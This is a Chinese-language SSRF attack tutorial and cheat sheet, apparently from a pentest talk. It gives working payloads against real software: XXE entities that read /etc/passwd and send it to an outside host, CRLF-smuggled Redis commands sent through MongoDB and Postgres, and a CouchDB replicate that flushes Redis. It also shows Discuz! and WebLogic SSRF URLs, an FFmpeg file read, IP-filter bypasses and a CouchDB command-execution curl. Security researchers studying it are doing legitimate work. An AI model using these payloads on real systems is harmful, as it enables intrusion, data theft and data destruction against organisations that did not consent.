SSRF
介绍
什么是SSRF
SSRF
(Server-Side Request Forgery:服务器端请求伪造),由攻击者构造的攻击链接传给服务端执行造成的漏洞.SSRF
通过利用一个可以发送网络请求的服务,以它为跳板对其他资源进行访问或者说攻击。
通俗点讲,SSRF
的攻击方式其实就类似于抓了一个肉鸡,然后有这个肉鸡去执行攻击者后续想要执行的操作。这样一来,在受到攻击或者说接收到网络请求的服务器的视角看,对它进行攻击的是这台肉鸡服务器而非攻击者。
(即:身份伪造)
这个时候如果这台所谓的 “肉鸡” 服务器对于攻击者所攻击的目标又拥有特殊身份权限的话,便是所谓的SSRF
攻击了。
常见的SSRF
攻击多为通过跳板机访问目标资源。形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
SSRF可以做什么
- 扫描内部网络的
服务
or资源
- 利用
file
协议读取本地文件等 - 暴力穷举(如:
users
|dirs
|files
) - DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
- 向内部任意主机的任意端口发送攻击者精心构造的数据包。
常用协议:
协议名称 | 简介 |
---|---|
Gopher | 攻击内部应用的主力军 |
Dict | 端口探测,版本信息收集 |
ftp | 探测是否存在ftp |
http | 探测是否存在ssrf |
file | 读取本地文件 |
注意:jdk1.7后java不再支持gopher
怎么找SSRF
- 能够对外发起网络请求的地方
- 从远程服务器请求资源(Upload from URL 、Import & Export RSS feed)
- 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
- Webmail 收取其他邮箱邮件(POP3 | IMAP | SMTP)
- 文件处理、编码处理、属性信息处理(ffpmg、ImageMaic、DOCX、PDF、XML处理器)
注意
有两种情况会阻碍SSRF
的利用:
- 服务端开启OpenSSL无法进行交互利用
- 服务端需要鉴权信息(Cookies & Username:Password)
从远程服务器请求资源
- Upload from URL
- Discuz!
- Import & Export RSS feed
- Web Blog
- 使用XML引擎对象的地方
- Wordpress xmlrpc.php
- XXE实体引用
- DTD文档类型定义
- XLST — XML文档转换为其他格式
XML Fuzz Cheatsheet(模糊测试表)
- DTD Remote Access —— 文档结构标准
<!ENTITY % d SYSTEM “http://wuyun.org/evil.dtd"> - XML External Entity —— 外部实体引用
<!ENTITY % file system “file:///etc/passwd”>
<!ENTITY % d SYSTEM “http://wuyun.org/file?data=%file"> - URL Invocation —— URL调用
<!DOCTYPE roottag PUBLIC “-//VSR//PENTEST//EN” “http://wuyun.org/urlin">
<roottag>test</roottag> - XML Encryption —— XML 加密
<xenc:AgreementMethod Algorithm= “http://wuyun.org/1">
<xenc:EncryptionProperty Target= “http://wuyun.org/2">
<xenc:CipherReference URI= “http://wuyun.org/3">
<xenc:DataReference URI= “http://wuyun.org/4">
XML Fuzz Cheatsheet —— Web Services 标准项
- XML Signature — XMLqianming
<Reference URI=”http://wuyun.org/5"> - WS Policy — SOA WS策略项
<To xmlns=”http://www.w3.org/2005/08/addressing">http://wuyun.org/to</To>
<ReplyTo xmlns=”http://www.w3.org/2005/08/addressing">
<Address>http://wuyun.org/rto</Address>
</ReplyTo> - From WS Security — JAVA WEB安全策略
<wsp:PolicyReference URI=”http://wuyun.org/pr"> - WS Addressing — Web Services消息寻址
<input message=”wooyun” wsa:Action=”http://wuyun.org/ip“ />
<output message=”wooyun” wsa:Action=”http://wuyun.org/op“ />
XML Fuzz Cheatsheet —— 第三方应用与新协议
- WS Federation —— Web Services通用标准
<fed:Federation FederationID=”http://wuyun.org/fid">
<fed:FederationInclude>http://wuyun.org/inc</fed:FederationInclude>
<fed:TokenIssuerName>http://wuyun.org/iss</fed:TokenIssuerName>
<mex:MetadataReference>
<wsa:Address>http://wuyun.org/mex</wsa:Address>
</mex:MetadataReference> - ODATA (edmx)新协议
<edmx:Reference URI=”http://wuyun.org/edmxr">
<edmx:AnnotationsReference URI=”http://wuyun.org/edmxa"> - XBRL —— 财务报告标准
<xbrli:identifier scheme=”http://wuyun.org/xbr">
<link:roleType roleURI=”http://wuyun.org/role"> - STRATML —— 策略标记语言
<stratml:Source>http://wuyun.org/stml</stratml:Source>
数据库内置功能
MongoDB
变废为宝的未授权访问db.copyDatabase(‘\r\nconfig set dbfilename wyssrf\r\nquit\r\n’,’test’,’10.6.4.166:6379’)
1
2
3
4
5[root@10-6-4-166 ~]# nc -l -vv 6379
Connection from 10.6.19.144 port 6379 [tcp/*]
config set dbfilename wyssrf
quit
.system.namespacesdb.copyDatabase(‘helo’,’test’,’10.6.4.166:22’);
{“errmsg” : “……helo.systemnamespaces failed: “ }
db.copyDatabase(‘helo’,’test’,’10.6.4.166:9999’);
{“errormsg” : “couldn’t connect to server 10.6.4.166:9999”}
互联网开放了50000+不需要授权访问的 MongoDB Server- Oracle
UTL_HTTP
UTL_TCP
UTL_SMTP
https://docs.oracle.com/cd/E11882_01/appdev.112/e40758/u_http.htm#ARPLS070 PostgresSQL
dblink_send_query()发起远程查询1
2
3
4SELECT dblink_send_query(
'host=127.0.0.1 dbname=quit user=\'\r\nconfig set dbfilename wyssrf\r\nquit\r\n\' password=1 port=6379 sslmode=disable',
'select version();'
)回显:
[root@localhost ~]# nc -l -vv 6379
Connection from 127.0.0.1 port 6379 [tcp/*]
config set dbfilename wyssrf
quitMSSQL
OpenRowset()1
2SELECT openrowset('SQLOLEDB',
'server=192.168.1.5;uid=sa;pwd=sa;database=master')OpenDatasource()
1
2SELECT * FROM OpenDatasource('SQLOLEDB',
'Data Source=ServerName;User ID=sa;Password=sa' ) .Northwind.dbo.Categorieshttps://msdn.microsoft.com/zh-cn/library/ms190312.aspx
协议限制: 穷举用户口令 XP_CMDSHELLCouchDB
HTTP API /_replicate1
2
3
4
5
6
7POST http://couchdb-server:5984/_replicate
Content-Type: application/json
Accept: application/json
{
"source" : "recipes",
"target" : "dict://redis.wuyun.org:6379/flushall”,
}
Web mail 收取其他邮箱邮件
- QQ邮箱
- 163/126邮箱
- 新浪邮箱
文件处理、编码处理、属性信息处理
网盘 & 邮箱系统
PDF、DOCX 在线编辑
文件自动预览
- FFmpeg
concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd - ImageMagick (mvg语法 URL函数向服务器发起HTTP请求)
fill ‘url(http://wyssrf.wuyun.org)’ - XML parsers ( XSLT ) XSLT包含了超过100个内置函数
document(): 用来访问另一个xml文档内的信息
include(): 用来将两个样式表合并
import(): 用来将一个样式表覆盖另一个
利用
利用条件
- 需成功发送针对目标服务漏洞的
payload
遇到限制的绕过方式
IP限制绕过(xip.io、十进制IP、八进制IP)
- 要求对象必须包含域名Domain,且符合
.tld
标准
url=http://www.10.10.10.10.xip.io - 将10、127、172、192开头的私有IP列入黑名单
十进制IP: *256**3 + *256**2 + *256
八进制IP:012.10.10.10 = 10.10.10.10
协议限制绕过(Redirect̵CRLF header injection)
只允许
startswith('http')
传入302 Redirect 跳转 (HTTP Scheme ——> DICT Scheme)
Discuz! SSRF1
/forum.php?mod=ajax&action=downremoteimg&message=[img]http://wuyun.org/302.php?helo.jpg[/img]
302.php
1
2
header("Location: dict://wuyun.org:6379/set:1:helo”); # set 1 helo \nCRLF ( Ascii Code ) — header injection
WebLogic uddiexplorer SSRF
1
http://localhost:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://wuyun.org/helo&rdoSearch=name&btnSubmit=Search
CRLF ->ASCII Code
%0d -> 0x0d -> \r
%0a -> 0x0a -> \n
WebLogic SSRF 漏洞利用 CRLF HTTP头注入
example:
CRLF的攻击方式其实在某种角度上和http走私攻击的原理有重合部分
WebLogic SSRF 服务探测 (FingerPrint)
请求未开放的服务
weblogic.uddi.client.structures.exception.XML_SoapException: Tried
all: ‘1’ addresses, but could not connect over HTTP to server:
‘fuzz.wuyun.com’, port: ‘88’请求开放的服务
weblogic.uddi.client.structures.exception.XML_SoapException:
Received a response from url: http://fuzz.wuyun.com:22/helo which
did not have a valid SOAP content-type: null.可被识别的回显
weblogic.uddi.client.structures.exception.XML_SoapException:
Received a response from url: http://www.baidu.com/ which did not
have a valid SOAP content-type: text/html; charset=UTF-8不可被识别的回显
weblogic.uddi.client.structures.exception.XML_SoapException:
Received a response from url: http://fuzz.wuyun.com:22 which did
not have a valid SOAP content-type: null.
大部分企业认为WebLogic自带的SSRF不算是漏洞
BEA & Oracle WebLogic 在行业中的使用占比:
- 银行、金融、证券行业:80%
- 电力、能源行业:70%
- 国家基础设施 & 政府:90%
调用系统支持的协议和方法(Protocols & Wrappers)
Java
sun.net.www.protocol.*
file ftp gopher http https jar mailto netdocfile:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
php:// — Accessing various I/O streams
zlib:// — Compression Streams
data:// — Data (RFC 2397)
glob:// — Find pathnames matching pattern
phar:// — PHP Archive
ssh2:// — Secure Shell 2 rar:// — RAR
expect:// — Process Interaction Streams
漏洞利用(远程服务)
- HTTP协议
GET /path HTTP/1.1
POST /path HTTP/1.1
WebDav:
PUT MOVE DEL - UDP协议
tftp://10.10.10.10/get helo - SMBreplay & BadTunnel
UNC Call:
\\10.10.10.10\c$\boot.ini - FTP & SMTP & POP3
利用SSRF攻击本地服务
利用SSRF攻击数据库&缓存
Memcached
- vBulletin 远程命令执行(修改memcached模板缓存)
https://blog.csdn.net/weixin_33940102/article/details/87980914
- vBulletin 远程命令执行(修改memcached模板缓存)
利用SSRF攻击CouchDB
- 能够发起SSRF请求,HTTP /_replicate API
- 可以被SSRF攻击,Restful的API接口
- curl -X PUT ‘http://1.1.1.1:5984/_config/query_servers/cmd‘ -d ‘“/sbin/ifconfig >/tmp/6666”‘
XXE -> SSRF -> CSRF 组合方法
- CoreMail 提供一个绑定在内部IP的高权限API
/apiws/services/API?wsdl
可以创建&删除用户、修改超级管理员密码 - CoreMail 前台存在一个XML XXE SSRF漏洞
- 利用SSRF漏洞请求外部无法访问的高权限API
自动化
- 基于python
furl / requests / multiprocessing / time / re - 服务指纹识别
时间差盲测
根据回显内容进行判断 - 利用漏洞整理分类
协议(http̵dict̵gopher̵tftp)
服务指纹识别
- 时间差盲猜
keep-Alive: timeout=5
一直保持连接 keep-alive
http & dict://wuyun.org:6379
传完数据,自动断开 - 根据回显内容
[root@localhost ~] # curl http://wuyun.org:22
SSH-2.0-OpenSSH_5.3
Protocol mismatch.
正确错误状态对比:
db.copyDatabase(‘helo’,’test’,’10.6.4.166:22’);
{“errmsg” : “……helo.systemnamespaces failed: “ }
db.copyDatabase(‘helo’,’test’,’10.6.4.166:6379’);
{“errormsg” : “couldn’t connect to server 10.6.4.166:6379”}